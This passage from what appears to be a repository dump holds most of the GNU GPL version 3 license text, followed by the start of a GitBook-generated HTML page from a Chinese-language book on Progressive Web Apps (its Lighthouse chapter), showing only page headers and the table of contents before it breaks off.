copyright-like laws that apply to other kinds of\nworks, such as semiconductor masks.\n\n  \"The Program\" refers to any copyrightable work licensed under this\nLicense.  Each licensee is addressed as \"you\".  \"Licensees\" and\n\"recipients\" may be individuals or organizations.\n\n  To \"modify\" a work means to copy from or adapt all or part of the work\nin a fashion requiring copyright permission, other than the making of an\nexact copy.  The resulting work is called a \"modified version\" of the\nearlier work or a work \"based on\" the earlier work.\n\n  A \"covered work\" means either the unmodified Program or a work based\non the Program.\n\n  To \"propagate\" a work means to do anything with it that, without\npermission, would make you directly or secondarily liable for\ninfringement under applicable copyright law, except executing it on a\ncomputer or modifying a private copy.  Propagation includes copying,\ndistribution (with or without modification), making available to the\npublic, and in some countries other activities as well.\n\n  To \"convey\" a work means any kind of propagation that enables other\nparties to make or receive copies.  Mere interaction with a user through\na computer network, with no transfer of a copy, is not conveying.\n\n  An interactive user interface displays \"Appropriate Legal Notices\"\nto the extent that it includes a convenient and prominently visible\nfeature that (1) displays an appropriate copyright notice, and (2)\ntells the user that there is no warranty for the work (except to the\nextent that warranties are provided), that licensees may convey the\nwork under this License, and how to view a copy of this License.  If\nthe interface presents a list of user commands or options, such as a\nmenu, a prominent item in the list meets this criterion.\n\n  1. Source Code.\n\n  The \"source code\" for a work means the preferred form of the work\nfor making modifications to it.  \"Object code\" means any non-source\nform of a work.\n\n  A \"Standard Interface\" means an interface that either is an official\nstandard defined by a recognized standards body, or, in the case of\ninterfaces specified for a particular programming language, one that\nis widely used among developers working in that language.\n\n  The \"System Libraries\" of an executable work include anything, other\nthan the work as a whole, that (a) is included in the normal form of\npackaging a Major Component, but which is not part of that Major\nComponent, and (b) serves only to enable use of the work with that\nMajor Component, or to implement a Standard Interface for which an\nimplementation is available to the public in source code form.  A\n\"Major Component\", in this context, means a major essential component\n(kernel, window system, and so on) of the specific operating system\n(if any) on which the executable work runs, or a compiler used to\nproduce the work, or an object code interpreter used to run it.\n\n  The \"Corresponding Source\" for a work in object code form means all\nthe source code needed to generate, install, and (for an executable\nwork) run the object code and to modify the work, including scripts to\ncontrol those activities.  However, it does not include the work's\nSystem Libraries, or general-purpose tools or generally available free\nprograms which are used unmodified in performing those activities but\nwhich are not part of the work.  For example, Corresponding Source\nincludes interface definition files associated with source files for\nthe work, and the source code for shared libraries and dynamically\nlinked subprograms that the work is specifically designed to require,\nsuch as by intimate data communication or control flow between those\nsubprograms and other parts of the work.\n\n  The Corresponding Source need not include anything that users\ncan regenerate automatically from other parts of the Corresponding\nSource.\n\n  The Corresponding Source for a work in source code form is that\nsame work.\n\n  2. Basic Permissions.\n\n  All rights granted under this License are granted for the term of\ncopyright on the Program, and are irrevocable provided the stated\nconditions are met.  This License explicitly affirms your unlimited\npermission to run the unmodified Program.  The output from running a\ncovered work is covered by this License only if the output, given its\ncontent, constitutes a covered work.  This License acknowledges your\nrights of fair use or other equivalent, as provided by copyright law.\n\n  You may make, run and propagate covered works that you do not\nconvey, without conditions so long as your license otherwise remains\nin force.  You may convey covered works to others for the sole purpose\nof having them make modifications exclusively for you, or provide you\nwith facilities for running those works, provided that you comply with\nthe terms of this License in conveying all material for which you do\nnot control copyright.  Those thus making or running the covered works\nfor you must do so exclusively on your behalf, under your direction\nand control, on terms that prohibit them from making any copies of\nyour copyrighted material outside their relationship with you.\n\n  Conveying under any other circumstances is permitted solely under\nthe conditions stated below.  Sublicensing is not allowed; section 10\nmakes it unnecessary.\n\n  3. Protecting Users' Legal Rights From Anti-Circumvention Law.\n\n  No covered work shall be deemed part of an effective technological\nmeasure under any applicable law fulfilling obligations under article\n11 of the WIPO copyright treaty adopted on 20 December 1996, or\nsimilar laws prohibiting or restricting circumvention of such\nmeasures.\n\n  When you convey a covered work, you waive any legal power to forbid\ncircumvention of technological measures to the extent such circumvention\nis effected by exercising rights under this License with respect to\nthe covered work, and you disclaim any intention to limit operation or\nmodification of the work as a means of enforcing, against the work's\nusers, your or third parties' legal rights to forbid circumvention of\ntechnological measures.\n\n  4. Conveying Verbatim Copies.\n\n  You may convey verbatim copies of the Program's source code as you\nreceive it, in any medium, provided that you conspicuously and\nappropriately publish on each copy an appropriate copyright notice;\nkeep intact all notices stating that this License and any\nnon-permissive terms added in accord with section 7 apply to the code;\nkeep intact all notices of the absence of any warranty; and give all\nrecipients a copy of this License along with the Program.\n\n  You may charge any price or no price for each copy that you convey,\nand you may offer support or warranty protection for a fee.\n\n  5. Conveying Modified Source Versions.\n\n  You may convey a work based on the Program, or the modifications to\nproduce it from the Program, in the form of source code under the\nterms of section 4, provided that you also meet all of these conditions:\n\n    a) The work must carry prominent notices stating that you modified\n    it, and giving a relevant date.\n\n    b) The work must carry prominent notices stating that it is\n    released under this License and any conditions added under section\n    7.  This requirement modifies the requirement in section 4 to\n    \"keep intact all notices\".\n\n    c) You must license the entire work, as a whole, under this\n    License to anyone who comes into possession of a copy.  This\n    License will therefore apply, along with any applicable section 7\n    additional terms, to the whole of the work, and all its parts,\n    regardless of how they are packaged.  This License gives no\n    permission to license the work in any other way, but it does not\n    invalidate such permission if you have separately received it.\n\n    d) If the work has interactive user interfaces, each must display\n    Appropriate Legal Notices; however, if the Program has interactive\n    interfaces that do not display Appropriate Legal Notices, your\n    work need not make them do so.\n\n  A compilation of a covered work with other separate and independent\nworks, which are not by their nature extensions of the covered work,\nand which are not combined with it such as to form a larger program,\nin or on a volume of a storage or distribution medium, is called an\n\"aggregate\" if the compilation and its resulting copyright are not\nused to limit the access or legal rights of the compilation's users\nbeyond what the individual works permit.  Inclusion of a covered work\nin an aggregate does not cause this License to apply to the other\nparts of the aggregate.\n\n  6. Conveying Non-Source Forms.\n\n  You may convey a covered work in object code form under the terms\nof sections 4 and 5, provided that you also convey the\nmachine-readable Corresponding Source under the terms of this License,\nin one of these ways:\n\n    a) Convey the object code in, or embodied in, a physical product\n    (including a physical distribution medium), accompanied by the\n    Corresponding Source fixed on a durable physical medium\n    customarily used for software interchange.\n\n    b) Convey the object code in, or embodied in, a physical product\n    (including a physical distribution medium), accompanied by a\n    written offer, valid for at least three years and valid for as\n    long as you offer spare parts or customer support for that product\n    model, to give anyone who possesses the object code either (1) a\n    copy of the Corresponding Source for all the software in the\n    product that is covered by this License, on a durable physical\n    medium customarily used for software interchange, for a price no\n    more than your reasonable cost of physically performing this\n    conveying of source, or (2) access to copy the\n    Corresponding Source from a network server at no charge.\n\n    c) Convey individual copies of the object code with a copy of the\n    written offer to provide the Corresponding Source.  This\n    alternative is allowed only occasionally and noncommercially, and\n    only if you received the object code with such an offer, in accord\n    with subsection 6b.\n\n    d) Convey the object code by offering access from a designated\n    place (gratis or for a charge), and offer equivalent access to the\n    Corresponding Source in the same way through the same place at no\n    further charge.  You need not require recipients to copy the\n    Corresponding Source along with the object code.  If the place to\n    copy the object code is a network server, the Corresponding Source\n    may be on a different server (operated by you or a third party)\n    that supports equivalent copying facilities, provided you maintain\n    clear directions next to the object code saying where to find the\n    Corresponding Source.  Regardless of what server hosts the\n    Corresponding Source, you remain obligated to ensure that it is\n    available for as long as needed to satisfy these requirements.\n\n    e) Convey the object code using peer-to-peer transmission, provided\n    you inform other peers where the object code and Corresponding\n    Source of the work are being offered to the general public at no\n    charge under subsection 6d.\n\n  A separable portion of the object code, whose source code is excluded\nfrom the Corresponding Source as a System Library, need not be\nincluded in conveying the object code work.\n\n  A \"User Product\" is either (1) a \"consumer product\", which means any\ntangible personal property which is normally used for personal, family,\nor household purposes, or (2) anything designed or sold for incorporation\ninto a dwelling.  In determining whether a product is a consumer product,\ndoubtful cases shall be resolved in favor of coverage.  For a particular\nproduct received by a particular user, \"normally used\" refers to a\ntypical or common use of that class of product, regardless of the status\nof the particular user or of the way in which the particular user\nactually uses, or expects or is expected to use, the product.  A product\nis a consumer product regardless of whether the product has substantial\ncommercial, industrial or non-consumer uses, unless such uses represent\nthe only significant mode of use of the product.\n\n  \"Installation Information\" for a User Product means any methods,\nprocedures, authorization keys, or other information required to install\nand execute modified versions of a covered work in that User Product from\na modified version of its Corresponding Source.  The information must\nsuffice to ensure that the continued functioning of the modified object\ncode is in no case prevented or interfered with solely because\nmodification has been made.\n\n  If you convey an object code work under this section in, or with, or\nspecifically for use in, a User Product, and the conveying occurs as\npart of a transaction in which the right of possession and use of the\nUser Product is transferred to the recipient in perpetuity or for a\nfixed term (regardless of how the transaction is characterized), the\nCorresponding Source conveyed under this section must be accompanied\nby the Installation Information.  But this requirement does not apply\nif neither you nor any third party retains the ability to install\nmodified object code on the User Product (for example, the work has\nbeen installed in ROM).\n\n  The requirement to provide Installation Information does not include a\nrequirement to continue to provide support service, warranty, or updates\nfor a work that has been modified or installed by the recipient, or for\nthe User Product in which it has been modified or installed.  Access to a\nnetwork may be denied when the modification itself materially and\nadversely affects the operation of the network or violates the rules and\nprotocols for communication across the network.\n\n  Corresponding Source conveyed, and Installation Information provided,\nin accord with this section must be in a format that is publicly\ndocumented (and with an implementation available to the public in\nsource code form), and must require no special password or key for\nunpacking, reading or copying.\n\n  7. Additional Terms.\n\n  \"Additional permissions\" are terms that supplement the terms of this\nLicense by making exceptions from one or more of its conditions.\nAdditional permissions that are applicable to the entire Program shall\nbe treated as though they were included in this License, to the extent\nthat they are valid under applicable law.  If additional permissions\napply only to part of the Program, that part may be used separately\nunder those permissions, but the entire Program remains governed by\nthis License without regard to the additional permissions.\n\n  When you convey a copy of a covered work, you may at your option\nremove any additional permissions from that copy, or from any part of\nit.  (Additional permissions may be written to require their own\nremoval in certain cases when you modify the work.)  You may place\nadditional permissions on material, added by you to a covered work,\nfor which you have or can give appropriate copyright permission.\n\n  Notwithstanding any other provision of this License, for material you\nadd to a covered work, you may (if authorized by the copyright holders of\nthat material) supplement the terms of this License with terms:\n\n    a) Disclaiming warranty or limiting liability differently from the\n    terms of sections 15 and 16 of this License; or\n\n    b) Requiring preservation of specified reasonable legal notices or\n    author attributions in that material or in the Appropriate Legal\n    Notices displayed by works containing it; or\n\n    c) Prohibiting misrepresentation of the origin of that material, or\n    requiring that modified versions of such material be marked in\n    reasonable ways as different from the original version; or\n\n    d) Limiting the use for publicity purposes of names of licensors or\n    authors of the material; or\n\n    e) Declining to grant rights under trademark law for use of some\n    trade names, trademarks, or service marks; or\n\n    f) Requiring indemnification of licensors and authors of that\n    material by anyone who conveys the material (or modified versions of\n    it) with contractual assumptions of liability to the recipient, for\n    any liability that these contractual assumptions directly impose on\n    those licensors and authors.\n\n  All other non-permissive additional terms are considered \"further\nrestrictions\" within the meaning of section 10.  If the Program as you\nreceived it, or any part of it, contains a notice stating that it is\ngoverned by this License along with a term that is a further\nrestriction, you may remove that term.  If a license document contains\na further restriction but permits relicensing or conveying under this\nLicense, you may add to a covered work material governed by the terms\nof that license document, provided that the further restriction does\nnot survive such relicensing or conveying.\n\n  If you add terms to a covered work in accord with this section, you\nmust place, in the relevant source files, a statement of the\nadditional terms that apply to those files, or a notice indicating\nwhere to find the applicable terms.\n\n  Additional terms, permissive or non-permissive, may be stated in the\nform of a separately written license, or stated as exceptions;\nthe above requirements apply either way.\n\n  8. Termination.\n\n  You may not propagate or modify a covered work except as expressly\nprovided under this License.  Any attempt otherwise to propagate or\nmodify it is void, and will automatically terminate your rights under\nthis License (including any patent licenses granted under the third\nparagraph of section 11).\n\n  However, if you cease all violation of this License, then your\nlicense from a particular copyright holder is reinstated (a)\nprovisionally, unless and until the copyright holder explicitly and\nfinally terminates your license, and (b) permanently, if the copyright\nholder fails to notify you of the violation by some reasonable means\nprior to 60 days after the cessation.\n\n  Moreover, your license from a particular copyright holder is\nreinstated permanently if the copyright holder notifies you of the\nviolation by some reasonable means, this is the first time you have\nreceived notice of violation of this License (for any work) from that\ncopyright holder, and you cure the violation prior to 30 days after\nyour receipt of the notice.\n\n  Termination of your rights under this section does not terminate the\nlicenses of parties who have received copies or rights from you under\nthis License.  If your rights have been terminated and not permanently\nreinstated, you do not qualify to receive new licenses for the same\nmaterial under section 10.\n\n  9. Acceptance Not Required for Having Copies.\n\n  You are not required to accept this License in order to receive or\nrun a copy of the Program.  Ancillary propagation of a covered work\noccurring solely as a consequence of using peer-to-peer transmission\nto receive a copy likewise does not require acceptance.  However,\nnothing other than this License grants you permission to propagate or\nmodify any covered work.  These actions infringe copyright if you do\nnot accept this License.  Therefore, by modifying or propagating a\ncovered work, you indicate your acceptance of this License to do so.\n\n  10. Automatic Licensing of Downstream Recipients.\n\n  Each time you convey a covered work, the recipient automatically\nreceives a license from the original licensors, to run, modify and\npropagate that work, subject to this License.  You are not responsible\nfor enforcing compliance by third parties with this License.\n\n  An \"entity transaction\" is a transaction transferring control of an\norganization, or substantially all assets of one, or subdividing an\norganization, or merging organizations.  If propagation of a covered\nwork results from an entity transaction, each party to that\ntransaction who receives a copy of the work also receives whatever\nlicenses to the work the party's predecessor in interest had or could\ngive under the previous paragraph, plus a right to possession of the\nCorresponding Source of the work from the predecessor in interest, if\nthe predecessor has it or can get it with reasonable efforts.\n\n  You may not impose any further restrictions on the exercise of the\nrights granted or affirmed under this License.  For example, you may\nnot impose a license fee, royalty, or other charge for exercise of\nrights granted under this License, and you may not initiate litigation\n(including a cross-claim or counterclaim in a lawsuit) alleging that\nany patent claim is infringed by making, using, selling, offering for\nsale, or importing the Program or any portion of it.\n\n  11. Patents.\n\n  A \"contributor\" is a copyright holder who authorizes use under this\nLicense of the Program or a work on which the Program is based.  The\nwork thus licensed is called the contributor's \"contributor version\".\n\n  A contributor's \"essential patent claims\" are all patent claims\nowned or controlled by the contributor, whether already acquired or\nhereafter acquired, that would be infringed by some manner, permitted\nby this License, of making, using, or selling its contributor version,\nbut do not include claims that would be infringed only as a\nconsequence of further modification of the contributor version.  For\npurposes of this definition, \"control\" includes the right to grant\npatent sublicenses in a manner consistent with the requirements of\nthis License.\n\n  Each contributor grants you a non-exclusive, worldwide, royalty-free\npatent license under the contributor's essential patent claims, to\nmake, use, sell, offer for sale, import and otherwise run, modify and\npropagate the contents of its contributor version.\n\n  In the following three paragraphs, a \"patent license\" is any express\nagreement or commitment, however denominated, not to enforce a patent\n(such as an express permission to practice a patent or covenant not to\nsue for patent infringement).  To \"grant\" such a patent license to a\nparty means to make such an agreement or commitment not to enforce a\npatent against the party.\n\n  If you convey a covered work, knowingly relying on a patent license,\nand the Corresponding Source of the work is not available for anyone\nto copy, free of charge and under the terms of this License, through a\npublicly available network server or other readily accessible means,\nthen you must either (1) cause the Corresponding Source to be so\navailable, or (2) arrange to deprive yourself of the benefit of the\npatent license for this particular work, or (3) arrange, in a manner\nconsistent with the requirements of this License, to extend the patent\nlicense to downstream recipients.  \"Knowingly relying\" means you have\nactual knowledge that, but for the patent license, your conveying the\ncovered work in a country, or your recipient's use of the covered work\nin a country, would infringe one or more identifiable patents in that\ncountry that you have reason to believe are valid.\n\n  If, pursuant to or in connection with a single transaction or\narrangement, you convey, or propagate by procuring conveyance of, a\ncovered work, and grant a patent license to some of the parties\nreceiving the covered work authorizing them to use, propagate, modify\nor convey a specific copy of the covered work, then the patent license\nyou grant is automatically extended to all recipients of the covered\nwork and works based on it.\n\n  A patent license is \"discriminatory\" if it does not include within\nthe scope of its coverage, prohibits the exercise of, or is\nconditioned on the non-exercise of one or more of the rights that are\nspecifically granted under this License.  You may not convey a covered\nwork if you are a party to an arrangement with a third party that is\nin the business of distributing software, under which you make payment\nto the third party based on the extent of your activity of conveying\nthe work, and under which the third party grants, to any of the\nparties who would receive the covered work from you, a discriminatory\npatent license (a) in connection with copies of the covered work\nconveyed by you (or copies made from those copies), or (b) primarily\nfor and in connection with specific products or compilations that\ncontain the covered work, unless you entered into that arrangement,\nor that patent license was granted, prior to 28 March 2007.\n\n  Nothing in this License shall be construed as excluding or limiting\nany implied license or other defenses to infringement that may\notherwise be available to you under applicable patent law.\n\n  12. No Surrender of Others' Freedom.\n\n  If conditions are imposed on you (whether by court order, agreement or\notherwise) that contradict the conditions of this License, they do not\nexcuse you from the conditions of this License.  If you cannot convey a\ncovered work so as to satisfy simultaneously your obligations under this\nLicense and any other pertinent obligations, then as a consequence you may\nnot convey it at all.  For example, if you agree to terms that obligate you\nto collect a royalty for further conveying from those to whom you convey\nthe Program, the only way you could satisfy both those terms and this\nLicense would be to refrain entirely from conveying the Program.\n\n  13. Use with the GNU Affero General Public License.\n\n  Notwithstanding any other provision of this License, you have\npermission to link or combine any covered work with a work licensed\nunder version 3 of the GNU Affero General Public License into a single\ncombined work, and to convey the resulting work.  The terms of this\nLicense will continue to apply to the part which is the covered work,\nbut the special requirements of the GNU Affero General Public License,\nsection 13, concerning interaction through a network will apply to the\ncombination as such.\n\n  14. Revised Versions of this License.\n\n  The Free Software Foundation may publish revised and/or new versions of\nthe GNU General Public License from time to time.  Such new versions will\nbe similar in spirit to the present version, but may differ in detail to\naddress new problems or concerns.\n\n  Each version is given a distinguishing version number.  If the\nProgram specifies that a certain numbered version of the GNU General\nPublic License \"or any later version\" applies to it, you have the\noption of following the terms and conditions either of that numbered\nversion or of any later version published by the Free Software\nFoundation.  If the Program does not specify a version number of the\nGNU General Public License, you may choose any version ever published\nby the Free Software Foundation.\n\n  If the Program specifies that a proxy can decide which future\nversions of the GNU General Public License can be used, that proxy's\npublic statement of acceptance of a version permanently authorizes you\nto choose that version for the Program.\n\n  Later license versions may give you additional or different\npermissions.  However, no additional obligations are imposed on any\nauthor or copyright holder as a result of your choosing to follow a\nlater version.\n\n  15. Disclaimer of Warranty.\n\n  THERE IS NO WARRANTY FOR THE PROGRAM, TO THE EXTENT PERMITTED BY\nAPPLICABLE LAW.  EXCEPT WHEN OTHERWISE STATED IN WRITING THE COPYRIGHT\nHOLDERS AND/OR OTHER PARTIES PROVIDE THE PROGRAM \"AS IS\" WITHOUT WARRANTY\nOF ANY KIND, EITHER EXPRESSED OR IMPLIED, INCLUDING, BUT NOT LIMITED TO,\nTHE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR\nPURPOSE.  THE ENTIRE RISK AS TO THE QUALITY AND PERFORMANCE OF THE PROGRAM\nIS WITH YOU.  SHOULD THE PROGRAM PROVE DEFECTIVE, YOU ASSUME THE COST OF\nALL NECESSARY SERVICING, REPAIR OR CORRECTION.\n\n  16. Limitation of Liability.\n\n  IN NO EVENT UNLESS REQUIRED BY APPLICABLE LAW OR AGREED TO IN WRITING\nWILL ANY COPYRIGHT HOLDER, OR ANY OTHER PARTY WHO MODIFIES AND/OR CONVEYS\nTHE PROGRAM AS PERMITTED ABOVE, BE LIABLE TO YOU FOR DAMAGES, INCLUDING ANY\nGENERAL, SPECIAL, INCIDENTAL OR CONSEQUENTIAL DAMAGES ARISING OUT OF THE\nUSE OR INABILITY TO USE THE PROGRAM (INCLUDING BUT NOT LIMITED TO LOSS OF\nDATA OR DATA BEING RENDERED INACCURATE OR LOSSES SUSTAINED BY YOU OR THIRD\nPARTIES OR A FAILURE OF THE PROGRAM TO OPERATE WITH ANY OTHER PROGRAMS),\nEVEN IF SUCH HOLDER OR OTHER PARTY HAS BEEN ADVISED OF THE POSSIBILITY OF\nSUCH DAMAGES.\n\n  17. Interpretation of Sections 15 and 16.\n\n  If the disclaimer of warranty and limitation of liability provided\nabove cannot be given local legal effect according to their terms,\nreviewing courts shall apply local law that most closely approximates\nan absolute waiver of all civil liability in connection with the\nProgram, unless a warranty or assumption of liability accompanies a\ncopy of the Program in return for a fee.\n\n                     END OF TERMS AND CONDITIONS\n\n            How to Apply These Terms to Your New Programs\n\n  If you develop a new program, and you want it to be of the greatest\npossible use to the public, the best way to achieve this is to make it\nfree software which everyone can redistribute and change under these terms.\n\n  To do so, attach the following notices to the program.  It is safest\nto attach them to the start of each source file to most effectively\nstate the exclusion of warranty; and each file should have at least\nthe \"copyright\" line and a pointer to where the full notice is found.\n\n    <one line to give the program's name and a brief idea of what it does.>\n    Copyright (C) <year>  <name of author>\n\n    This program is free software: you can redistribute it and/or modify\n    it under the terms of the GNU General Public License as published by\n    the Free Software Foundation, either version 3 of the License, or\n    (at your option) any later version.\n\n    This program is distributed in the hope that it will be useful,\n    but WITHOUT ANY WARRANTY; without even the implied warranty of\n    MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the\n    GNU General Public License for more details.\n\n    You should have received a copy of the GNU General Public License\n    along with this program.  If not, see <https://www.gnu.org/licenses/>.\n\nAlso add information on how to contact you by electronic and paper mail.\n\n  If the program does terminal interaction, make it output a short\nnotice like this when it starts in an interactive mode:\n\n    <program>  Copyright (C) <year>  <name of author>\n    This program comes with ABSOLUTELY NO WARRANTY; for details type `show w'.\n    This is free software, and you are welcome to redistribute it\n    under certain conditions; type `show c' for details.\n\nThe hypothetical commands `show w' and `show c' should show the appropriate\nparts of the General Public License.  Of course, your program's commands\nmight be different; for a GUI interface, you would use an \"about box\".\n\n  You should also get your employer (if you work as a programmer) or school,\nif any, to sign a \"copyright disclaimer\" for the program, if necessary.\nFor more information on this, and how to apply and follow the GNU GPL, see\n<https://www.gnu.org/licenses/>.\n\n  The GNU General Public License does not permit incorporating your program\ninto proprietary programs.  If your program is a subroutine library, you\nmay consider it more useful to permit linking proprietary applications with\nthe library.  If this is what you want to do, use the GNU Lesser General\nPublic License instead of this License.  But first, please read\n<https://www.gnu.org/licenses/why-not-lgpl.html>.\n"
  },
  {
    "path": "docs/appendix01/1-lighthouse.html",
    "content": "\n<!DOCTYPE HTML>\n<html lang=\"zh-hans\" >\n    <head>\n        <meta charset=\"UTF-8\">\n        <meta content=\"text/html; charset=utf-8\" http-equiv=\"Content-Type\">\n        <title>1 使用 Lighthouse 测评 PWA · PWA 应用实战</title>\n        <meta http-equiv=\"X-UA-Compatible\" content=\"IE=edge\" />\n        <meta name=\"description\" content=\"\">\n        <meta name=\"generator\" content=\"GitBook 3.2.3\">\n        <meta name=\"author\" content=\"lavas <lavas@baidu.com>\">\n        \n        \n    \n    <link rel=\"stylesheet\" href=\"../gitbook/style.css\">\n\n    \n            \n                \n                <link rel=\"stylesheet\" href=\"../gitbook/gitbook-plugin-anchors/plugin.css\">\n                \n            \n                \n                <link rel=\"stylesheet\" href=\"../gitbook/gitbook-plugin-search-plus/search.css\">\n                \n            \n                \n                <link rel=\"stylesheet\" href=\"../gitbook/gitbook-plugin-prism/prism-okaidia.css\">\n                \n            \n                \n                <link rel=\"stylesheet\" href=\"../gitbook/gitbook-plugin-advanced-emoji/emoji-website.css\">\n                \n            \n                \n                <link rel=\"stylesheet\" href=\"../gitbook/gitbook-plugin-ace/ace.css\">\n                \n            \n                \n                <link rel=\"stylesheet\" href=\"../gitbook/gitbook-plugin-emphasize/plugin.css\">\n                \n            \n                \n                <link rel=\"stylesheet\" href=\"../gitbook/gitbook-plugin-splitter/splitter.css\">\n                \n            \n                \n                <link rel=\"stylesheet\" href=\"../gitbook/gitbook-plugin-page-footer-ex/style/plugin.css\">\n                \n            \n                \n                <link rel=\"stylesheet\" href=\"../gitbook/gitbook-plugin-expandable-chapters-small/expandable-chapters-small.css\">\n                \n            \n                \n                <link rel=\"stylesheet\" href=\"https://maxcdn.bootstrapcdn.com/bootstrap/3.3.7/css/bootstrap.min.css\">\n                \n            \n                \n                <link rel=\"stylesheet\" href=\"../gitbook/gitbook-plugin-sectionx/sectionx.css\">\n                \n            \n                \n                <link rel=\"stylesheet\" href=\"../gitbook/gitbook-plugin-local-video/video-js.min.css\">\n                \n            \n                \n                <link rel=\"stylesheet\" href=\"../gitbook/gitbook-plugin-anchor-navigation-ex/style/plugin.css\">\n                \n            \n                \n                <link rel=\"stylesheet\" href=\"../gitbook/gitbook-plugin-disqus/plugin.css\">\n                \n            \n                \n                <link rel=\"stylesheet\" href=\"../gitbook/gitbook-plugin-fontsettings/website.css\">\n                \n            \n        \n\n    \n\n    \n        \n    \n        \n    \n        \n    \n        \n    \n        \n    \n        \n    \n\n        \n    \n    \n    \n    \n    <meta name=\"HandheldFriendly\" content=\"true\"/>\n    <meta name=\"viewport\" content=\"width=device-width, initial-scale=1, user-scalable=no\">\n    <meta name=\"apple-mobile-web-app-capable\" content=\"yes\">\n    <meta name=\"apple-mobile-web-app-status-bar-style\" content=\"black\">\n    <link rel=\"apple-touch-icon-precomposed\" sizes=\"152x152\" href=\"../gitbook/images/apple-touch-icon-precomposed-152.png\">\n    <link rel=\"shortcut icon\" href=\"../gitbook/images/favicon.ico\" type=\"image/x-icon\">\n\n    \n    <link rel=\"next\" href=\"2-lighthouse-score-guide.html\" />\n    \n    \n    <link rel=\"prev\" href=\"../appendix01.html\" />\n    \n\n    \n    <link rel=\"stylesheet\" href=\"../gitbook/gitbook-plugin-chart/c3/c3.min.css\">\n    <script src=\"../gitbook/gitbook-plugin-chart/c3/d3.min.js\"></script>\n    <script src=\"../gitbook/gitbook-plugin-chart/c3/c3.min.js\"></script>\n    \n\n    \n        <link rel=\"shortcut icon\" href='../favicon.ico' type=\"image/x-icon\">\n    \n    \n        <link rel=\"bookmark\" href='../favicon.ico' type=\"image/x-icon\">\n    \n    \n    \n\n    </head>\n    <body>\n        \n<div class=\"book\">\n    <div class=\"book-summary\">\n        \n            \n<div id=\"book-search-input\" role=\"search\">\n    <input type=\"text\" placeholder=\"输入并搜索\" />\n</div>\n\n            \n                <nav role=\"navigation\">\n                \n\n\n<ul class=\"summary\">\n    \n    \n\n    \n\n    \n        \n        \n    \n        <li class=\"chapter \" data-level=\"1.1\" data-path=\"../\">\n            \n                <a href=\"../\">\n            \n                    \n                    HOME\n            \n                </a>\n            \n\n            \n        </li>\n    \n        <li class=\"chapter \" data-level=\"1.2\" data-path=\"../chapter01.html\">\n            \n                <a href=\"../chapter01.html\">\n            \n                    \n                    第1章 PWA 介绍\n            \n                </a>\n            \n\n            \n            <ul class=\"articles\">\n                \n    \n        <li class=\"chapter \" data-level=\"1.2.1\" data-path=\"../chapter01/1-how-was-pwa-born.html\">\n            \n                <a href=\"../chapter01/1-how-was-pwa-born.html\">\n            \n                    \n                    1.1 为什么会出现 PWA\n            \n                </a>\n            \n\n            \n        </li>\n    \n        <li class=\"chapter \" data-level=\"1.2.2\" data-path=\"../chapter01/2-what-is-pwa.html\">\n            \n                <a href=\"../chapter01/2-what-is-pwa.html\">\n            \n                    \n                    1.2 什么是 PWA\n            \n                </a>\n            \n\n            \n        </li>\n    \n        <li class=\"chapter \" data-level=\"1.2.3\" data-path=\"../chapter01/3-what-are-key-techs.html\">\n            \n                <a href=\"../chapter01/3-what-are-key-techs.html\">\n            \n                    \n                    1.3 PWA 的核心技术\n            \n                </a>\n            \n\n            \n        </li>\n    \n        <li class=\"chapter \" data-level=\"1.2.4\" data-path=\"../chapter01/4-how-is-pwa-going.html\">\n            \n                <a href=\"../chapter01/4-how-is-pwa-going.html\">\n            \n                    \n                    1.4 PWA 的发展\n            \n                </a>\n            \n\n            \n        </li>\n    \n        <li class=\"chapter \" data-level=\"1.2.5\" data-path=\"../chapter01/5-the-future-of-pwa.html\">\n            \n                <a href=\"../chapter01/5-the-future-of-pwa.html\">\n            \n                    \n                    1.5 PWA 的未来\n            \n                </a>\n            \n\n            \n        </li>\n    \n        <li class=\"chapter \" data-level=\"1.2.6\" data-path=\"../chapter01/6-your-first-pwa.html\">\n            \n                <a href=\"../chapter01/6-your-first-pwa.html\">\n            \n                    \n                    1.6 你的第一个 PWA\n            \n                </a>\n            \n\n            \n        </li>\n    \n\n            </ul>\n            \n        </li>\n    \n        <li class=\"chapter \" data-level=\"1.3\" data-path=\"../chapter02.html\">\n            \n                <a href=\"../chapter02.html\">\n            \n                    \n                    第2章 设计与体验\n            \n                </a>\n            \n\n            \n            <ul class=\"articles\">\n                \n    \n        <li class=\"chapter \" data-level=\"1.3.1\" data-path=\"../chapter02/1-what-is-good-ux.html\">\n            \n                <a href=\"../chapter02/1-what-is-good-ux.html\">\n            \n                    \n                    2.1 什么是好的用户体验\n            \n                </a>\n            \n\n            \n        </li>\n    \n        <li class=\"chapter \" data-level=\"1.3.2\" data-path=\"../chapter02/2-design-and-tech.html\">\n            \n                <a href=\"../chapter02/2-design-and-tech.html\">\n            \n                    \n                    2.2 设计与技术\n            \n                </a>\n            \n\n            \n        </li>\n    \n        <li class=\"chapter \" data-level=\"1.3.3\" data-path=\"../chapter02/3-app-shell.html\">\n            \n                <a href=\"../chapter02/3-app-shell.html\">\n            \n                    \n                    2.3 App Shell\n            \n                </a>\n            \n\n            \n        </li>\n    \n        <li class=\"chapter \" data-level=\"1.3.4\" data-path=\"../chapter02/4-app-skeleton.html\">\n            \n                <a href=\"../chapter02/4-app-skeleton.html\">\n            \n                    \n                    2.4 骨架屏\n            \n                </a>\n            \n\n            \n        </li>\n    \n        <li class=\"chapter \" data-level=\"1.3.5\" data-path=\"../chapter02/5-responsive-design.html\">\n            \n                <a href=\"../chapter02/5-responsive-design.html\">\n            \n                    \n                    2.5 响应式布局\n            \n                </a>\n            \n\n            \n        </li>\n    \n\n            </ul>\n            \n        </li>\n    \n        <li class=\"chapter \" data-level=\"1.4\" data-path=\"../chapter03.html\">\n            \n                <a href=\"../chapter03.html\">\n            \n                    \n                    第3章 基础技术简介\n            \n                </a>\n            \n\n            \n            <ul class=\"articles\">\n                \n    \n        <li class=\"chapter \" data-level=\"1.4.1\" data-path=\"../chapter03/1-promise.html\">\n            \n                <a href=\"../chapter03/1-promise.html\">\n            \n                    \n                    3.1 Promise\n            \n                </a>\n            \n\n            \n        </li>\n    \n        <li class=\"chapter \" data-level=\"1.4.2\" data-path=\"../chapter03/2-async-function.html\">\n            \n                <a href=\"../chapter03/2-async-function.html\">\n            \n                    \n                    3.2 Async 函数\n            \n                </a>\n            \n\n            \n        </li>\n    \n        <li class=\"chapter \" data-level=\"1.4.3\" data-path=\"../chapter03/3-fetch-api.html\">\n            \n                <a 